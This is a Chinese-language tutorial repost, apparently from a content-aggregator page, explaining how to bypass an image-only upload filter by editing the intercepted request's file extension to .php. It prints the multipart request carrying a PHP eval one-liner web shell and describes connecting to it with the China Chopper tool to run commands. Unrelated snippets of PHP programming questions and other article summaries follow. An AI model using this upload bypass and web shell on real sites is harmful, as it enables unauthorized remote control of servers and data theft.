绕过图片格式限制上传木马获取WebShell

2023-10-27

思路:

  图片上传功能中,前端页面上传的是.png格式的图片文件,但是抓包Request中修改图片后缀为.php

可以绕过对上传文件格式的限制,文件的上传路径可以在上传后的页面或查看上传成功后的response中有显示,

记录下来后用菜刀连接即可。 

(1)网站要求上传png格式的文件

(2)保存-抓包,将文件后缀.png删除,剩余.php文件继续提交,提示成功。

Content-Disposition: form-data; name="fun_menu_icon"

test123trojan.php
-----------------------------1962884403821
Content-Disposition: form-data; name="fun_menu_icon_upload"; filename="test123trojan.php"
Content-Type: image/png

<?php @eval($_POST['caidao']); ?>
-----------------------------1962884403821
Content-Disposition: form-data; name="fun_menu_img"

test123trojan.php
-----------------------------1962884403821
Content-Disposition: form-data; name="fun_menu_img_upload"; filename="test123trojan.php"
Content-Type: image/png

<?php @eval($_POST['caidao']); ?>

(3)在原始数据提交页面或提交数据后response页面中查找上传路径并记录。

(4)打开最新版中国菜刀,添加已经记录的路径,添加密码caidao

(5)连接虚拟终端,输入ipconfig

   

木马成功上传并执行。

转载于:https://www.cnblogs.com/tdcqma/p/5659270.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

绕过图片格式限制上传木马获取WebShell 的相关文章

  • WP 用户注册 - 也可以立即选择他/她的密码

    这是一个非常简短的前端注册指南 但我在密码方面遇到了一个小问题 我禁用了用户注册时发送的带有密码生成的电子邮件 Don t Send Notification Email To Registered User if function exi
  • 将日期格式(在数据库或输出中)更改为 dd/mm/yyyy - PHP MySQL

    MySQL 将日期存储在我的数据库中 默认情况下 为 YYYY MM DD 我的日期的字段类型是 DATE 我不需要任何时间存储 有没有一种简单的方法可以默认更改它到 DD MM YYYY 我在两个不同的表中调用不同的日期 并且在我的任何代
  • php postgresql pdo 从标准输入复制

    COPY table name field1 field2 field3 FROM STDIN CSV 1 2 q w 3 4 a s 5 6 d 如何通过 PDO 执行此查询 Update 问题是 PDO 驱动程序将此查询作为语句执行 例
  • 将子域重定向到 CakePHP 操作

    背景 我有一个 CakePHP 应用程序 位于 m 我想写一个根级别的 htaccess文件 它将重定向网站的 子域 作为操作的参数 例如 我想编写一个重写规则 这将导致像这样的重定向 http mysite myserver com ht
  • PHP/PDO/MySQL:插入 MEDIUMBLOB 会存储错误数据

    我有一个简单的 PHP Web 应用程序 它通过文件上传接受图标图像并将它们存储在 MEDIUMBLOB 列中 在我的机器 Windows 和两台 Linux 服务器上 这工作得很好 在第三台 Linux 服务器上 插入的图像已损坏 在 S
  • PHP中如何替换字符串?

    我有一个变量 其中包含如下所示的字符串 p The post a href http zed1 com journalized archives 2012 03 11 wordpress 3 for business bloggers Wo
  • 如何使用 PHP 创建动态页面标题

    大家好 我想知道是否有人可以帮助解决这个 PHP 问题 是否可以使用 H2 标记中的文本并使用它来动态填充页面标题 我还希望能够使用相同的技术将 H2 文本添加到元描述中 有人可以帮忙吗 如果您的 h2 文本是动态创建的 那么网页的其他部分
  • php版本升级到8后,出现此错误

    我正在将 php 7 升级到 php 8 0 在以前的 php 版本 7 中 这段代码工作正常 child parent parent resultData gt parent id gt child Yes 上面的代码在 php 7 中工
  • 使用 PHP 正则表达式从字符串中提取年份[重复]

    这个问题在这里已经有答案了 我想从字符串中提取年份 我得到了一个不完整的解决方案 我的字符串总是这样 请将爵士乐 2014 和 2015 的 mpg 发送至我的手机号码 123456789 我尝试过以下正则表达式 preg match al
  • MySQL 和 PHP:多关键字搜索

    我有一个包含逗号分隔关键字的字符串 例如 keywords keyword1 keyword2 keyword3 我的表架构 名为tbl address是这样的 简化的 id INT 11 PRIMARY KEY AUTO INCREMEN
  • 准备好的声明不返回任何内容

    我知道这个特定的查询是有效的 因为我用未经准备的过程方法测试了它 这里是 name introduction mysqli new mysqli localhost user pass db or die There was a probl
  • 使用 with 的热切加载模型,但给它起了另一个名字 - Laravel 5.2

    是否可以使用 with 方法来使用预加载 但给它另一个名称 就像是 gt with documents as product documents documents as categories 我有一个可以是产品或类别的文档表 急切加载可以
  • 如何设置外键id的id #sf2 #doctrine2

    我正在尝试手动为对象设置外键 id 但没有找到如何执行此操作 class Item ORM ManyToOne targetEntity MyBundle Entity ItemType inversedBy itemTypes ORM J
  • Symfony 4.1 组件 - 依赖注入问题

    我正在用 PHP 重构旧应用程序 我正在尝试使用 Symfony 依赖注入组件将服务注入控制器 或其他服务 但我不知道如何实现这一点 因为 symphony 文档比框架组件更适合使用框架 我已经有了自己的内核 包含所有服务和控制器的容器 控
  • 按时间戳字段中的日期过滤结果

    我已经获得了一些帮助 但不确定为什么这不起作用 我正在尝试使用表单让用户过滤他们的活动 存储在数据库中 My code GET from 01 11 2013 GET to 25 11 2013 from DateTime createFr
  • mysqli_connect(): (HY000/2002): 无法建立连接,因为目标机器主动拒绝

    我知道有很多这样的问题 但我没有找到任何解决方案 我尝试过的事情 检查防火墙 重新启动我的电脑和 Apache 服务器 重新启动MYSQL 检查了我的代码 尝试了我所知道的和在互联网上找到的一切 这是我的代码
  • CodeIgniter:使用多维 POST 数据验证表单

    所以框架是CodeIgniter 2 0 2 我有一个表单 其中包含与数据库中的行相对应的字段组 字段名称的格式为 opt 0 foo opt 0 bar opt 1 foo opt 1 bar etc 索引 1 2等 并不对应于数据库中的
  • 正则表达式检查确切的字符串是否存在,包括#

    新问题正如 Asaph 在上一个问题中所建议的 正则表达式检查确切的字符串是否存在 https stackoverflow com questions 2824291 regex to check if exact string exist
  • 在 Laravel 视图中使用 CSS?

    我刚刚开始学习 Laravel 并且可以掌握控制器和路由的基础知识 我的操作系统是 Mac OS X Lion 它位于 MAMP 服务器上 我的routes php代码 Route get function return View make
  • 使用 php 变量更改 css 类

    这里需要您的帮助 正如标题所示 我正在尝试使用 PHP 变量更改 css 类 所以基本上我想创建一个回显某些代码的循环 但我希望第一个循环中的 div 类有所不同 它应该被隐藏 这是我为使问题变得清晰而编写的简化代码 我不知道错误在哪里 请

随机推荐

  • 超实用的自动化测试平台推荐

    什么是平台 平台就是一种用来实现某种功能的体系 包括各种不同的元素 架构 流程 标准 机制和工具等 而软件测试平台是为客户打造的集高效率 低成本等特性于一身的软件工作空间 它不仅可以大幅缩短软件产品的测试周期 还可以提升产品品质 同时还能充
  • Centos7安装Mysql

    1 添加Mysql Yum Repository rpm Uvh https dev mysql com get mysql80 community release el7 3 noarch rpm 然后查看Mysql包 yum list
  • 如何在 Java 中将 InputStream 读取/转换为字符串?

    问题描述 如果您有一个 java io InputStream 对象 您应该如何处理该对象并生成一个 String 假设我有一个包含文本数据的 InputStream 并且我想将其转换为 String 例如 我可以将其写入日志文件 获取 I
  • 线上排查问题大全

    CPU 一般来讲我们首先会排查cpu方面的问题 cpu异常往往还是比较好定位的 原因包括业务逻辑问题 死循环 频繁gc以及上下文切换过多 而最常见的往往是业务逻辑 或者框架逻辑 导致的 可以使用jstack来分析对应的堆栈情况 使用jsta
  • Vue 3 状态管理进阶:使用 Pinia 构建可扩展的应用程序

    Vue 3 状态管理进阶 使用 Pinia 构建可扩展的应用程序 前言 1 Pinia 简介 2 安装和配置 Pinia 3 创建和使用 Pinia Store 4 在组件中使用 Pinia Store 5 在模板中使用 Pinia Sto
  • JavaWeb通过前端向Mysql数据库中插入数据问题

    作为入门小白 记录下因为基础不扎实而踩得坑 在写注册界面时 需要利用web界面输入数据 idea操作向数据库插入数据 首先确定了数据库正常 tomcat正常运行 sql语句正常 在idea中测试业务层也能正常向数据库中插入数据 但是在web
  • 构造器注入导致的循环依赖问题及解决方案

    构造器注入导致的循环依赖问题及解决方案 目录 概述 实现思路分析 循环依赖 问题 解决方案 方式二 相关工具如下 分析 小结 参考资料和推荐阅读 LD is tigger forever CG are not brothers foreve
  • [疯狂Java]NIO.2:walkFileTree、FileVisitor(遍历文件/目录)

    1 遍历文件和目录 FileVisitor 1 在旧版本中遍历文件系统只能通过递归的方法来实现 但是这种方法不仅消耗资源大而且效率低 2 NIO 2的Files工具类提供了一个静态工具方法walkFileTree来高效并优雅地遍历文件系统
  • 七十五.二分查找的递归实现 —— JAVA

    编写递归代码是最重要的有以下三点 递归总有一个最简单的情况 方法的第一条语句总是一个包含 return的条件语句 递归调用总是尝试解决一个规模更小的子问题 这样递归才能收敛到最简单的情况 递归调用的父问题和尝试解决的子问题之间不应该有交集
  • 伪代码书写规范

    伪代码 Pseudocode 是一种算法描述语言 使用伪代码的目的是为了使被描述的算法可以容易地以任何一种编程语言 Pascal C Java etc 实现 因此 伪代码必须结构清晰 代码简单 可读性好 并且类似自然语言 介于自然语言与编程
  • matlab lpc求共振峰频率,用Python中的LPC估计共振峰

    我对信号处理还不太熟悉 关于这一点 numpy scipy和matlab 我试着用Python中的LPC来估计元音共振峰 方法是修改下面的matlab代码 这是我目前的代码 usr bin env python import sys imp
  • vs+opencv环境配置出现程序无法启动及提示无法打开opencv_world400d.lib问题的解决方法

    vs opencv 1配置完成但是频频出错 1问题描述 无法启动程序 系统找不到指定的文件 我的原图忘记保存 故找了一张类似问题的图片做代替描述问题 在出现上述问题之后 点击确定后 程序报错 错误如下图 2解决方法 我已按照网上教程配置环境
  • springboot多数据源配置并解决多数据源下出现Cannot determine embedded database driver class for database type NONE的问题

    被多数据源折腾晕了 为了让自己记住写下这篇博客 第一步 配置 application properties server port 8081 server session timeout 1000000 server context pat
  • Web前端——用CSS的常用样式制作一个炫酷的按钮

    文章目录 笔记 CSS的常用样式 炫酷按钮效果实现 笔记 CSS的常用样式 边框以及弧度样式 border width 边框的线条宽度 border style 边框的样式 例如 solid实现 dotted 点线 dashed 虚线 bo
  • @Async 异步调用

    package com example demo controller import com example demo service AsyncService import org springframework http Respons
  • c:\Windows\System32\drivers\etc\hosts

    c Windows System32 drivers etc hosts 是域名解析文件 可以直接用记事本打开 将IP地址重定向 格式为 ip地址 空格 域名 可以将一个域名重新定向到一个IP Hosts文件配置的映射是静态的 如果网络上的
  • NVIDIA GPU驱动和CUDA工具包 Linux CentOS 7 在线安装指南

    挑选指定系统和对应的GPU型号下载驱动和CUDA工具包 Linux CentOS安装NVIDIA GPU驱动程序和NVIDIA CUDA工具包 centos安装显卡驱动和cuda Entropy Go的博客 CSDN博客 相比之下 本文是在
  • cron表达式插件 qnn-react-cron

    eslint disable react no unstable nested components import React from react import Cron from qnn react cron import Button
  • 渗透测试流程——渗透测试的9个步骤(转)

    渗透测试的流程 1 明确目标 2 分析风险 获得授权 3 信息收集 4 漏洞探测 手动 自动 5 漏洞验证 6 信息分析 7 利用漏洞 获取数据 8 信息整理 9 形成报告 1 明确目标 1 确定范围 测试的范围 如 IP 域名 内外网 整
  • 绕过图片格式限制上传木马获取WebShell

    思路 图片上传功能中 前端页面上传的是 png格式的图片文件 但是抓包Request中修改图片后缀为 php 可以绕过对上传文件格式的限制 文件的上传路径可以在上传后的页面或查看上传成功后的response中有显示 记录下来后用菜刀连接即可